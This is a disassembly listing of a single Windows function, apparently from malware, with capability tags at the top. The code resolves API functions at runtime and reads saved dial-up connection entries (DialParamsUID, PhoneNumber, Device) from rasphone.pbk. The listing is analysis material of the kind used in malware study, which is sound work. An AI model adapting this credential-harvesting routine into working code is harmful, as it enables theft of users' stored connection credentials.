Function at 0x10004980
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
sub esp, 0x7d4
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.lstrlenA
mov esi, ecx
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetPrivateProfileSectionNamesA
push str.KERNEL32.dll
mov dword [esp + 0x3c], eax
call edi
push eax
call ebx
push str.lstrcatA
push str.KERNEL32.dll
mov dword [esp + 0x34], eax
call edi
push eax
call ebx
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call edi
push eax
call ebx
push str.GetWindowsDirectoryA
push str.KERNEL32.dll
mov dword [esp + 0x2c], eax
call edi
push eax
call ebx
push str.lstrcmpA
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebx
push str.GetPrivateProfileStringA
push str.KERNEL32.dll
mov dword [esp + 0x38], eax
call edi
push eax
call ebx
push str.GetVersionExA
push str.KERNEL32.dll
mov dword [esp + 0x28], eax
call edi
push eax
call ebx
mov edi, eax
lea eax, [esp + 0xd4]
push 0x105
push eax
call dword [esp + 0x18]
push str.Documents_and_Settings_
lea ecx, [esp + 0xd8]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [esp + 0x2c]
mov edx, dword [esi + 0x14]
lea eax, [esp + 0xd4]
push edx
push eax
call ebp
lea ecx, [esp + 0xd4]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call ebp
push 0
lea edx, [esp + 0x2e0]
push 0x23
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x2dc]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x2e4]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x40]
lea edx, [esp + 0xd4]
lea eax, [esp + 0x2dc]
push ecx
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], 0x94
call edi
mov eax, dword [esp + 0x50]
mov edi, 2
cmp eax, edi
jne 0x10004aef
cmp dword [esp + 0x44], 5
jb 0x10004aef
mov ecx, esi
call fcn.100048a0
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
lea edx, [esp + 0x3c]
add esp, 4
mov dword [esp + 0x28], ebp
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edi
mov ecx, 0x400
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x1000
push ebp
mov dword [esp + 0x24], eax
call dword [esp + 0x38]
cmp byte [ebp], 0
je 0x10004cd8
push ebp
mov ecx, esi
call fcn.10005170
mov dword [esp + 0x1c], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1dc]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x5e4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x3e4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x6e4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x4e4]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x1dc]
push ecx
push pe_nt_image_headers32
push edx
push eax
push str.DialParamsUID
push ebp
call dword [esp + 0x38]
test eax, eax
jle 0x10004c28
mov eax, dword [esi + 0x10]
xor ebx, ebx
test eax, eax
jle 0x10004c28
xor edi, edi
mov edx, dword [esi + 0x1c]
mov eax, edi
add eax, edx
lea ecx, [esp + 0x1dc]
push eax
push ecx
call dword [esp + 0x38]
test eax, eax
je 0x10004be0
mov eax, dword [esi + 0x10]
inc ebx
add edi, 0x301
cmp ebx, eax
jl 0x10004bb8
jmp 0x10004c28
mov edx, dword [esi + 0x1c]
lea edi, [ebx + ebx*2]
shl edi, 8
add edi, ebx
mov ebx, dword [esp + 0x24]
lea ecx, [esp + 0x5e4]
lea eax, [edi + edx + 0x200]
push eax
push ecx
call ebx
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x3e4]
lea eax, [edi + edx + 0x100]
push eax
push ecx
call ebx
mov edx, dword [esi + 0x1c]
mov byte [edi + edx + 0x300], 1
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
push edi
lea eax, [esp + 0x6e8]
push pe_nt_image_headers32
push eax
push 0
push str.PhoneNumber
push ebp
call ebx
push edi
lea ecx, [esp + 0x4e8]
push pe_nt_image_headers32
push ecx
push 0
push str.Device
push ebp
call ebx
lea edx, [esp + 0x4e4]
mov ecx, esi
push edx
call fcn.10005170
mov edi, eax
lea eax, [esp + 0x5e4]
push eax
mov ecx, esi
call fcn.10005170
lea ecx, [esp + 0x6e4]
push edi
lea edx, [esp + 0x3e8]
mov ebx, eax
mov eax, dword [esp + 0x20]
push ecx
push edx
push ebx
lea ecx, [esp + 0x1ec]
push eax
push ecx
mov ecx, esi
call fcn.10004d10
mov edx, dword [esp + 0x1c]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebp
call dword [esp + 0x38]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10004b38
mov ebp, dword [esp + 0x28]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
add ecx, 4
dec eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
jne 0x10004b0e
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7d4
ret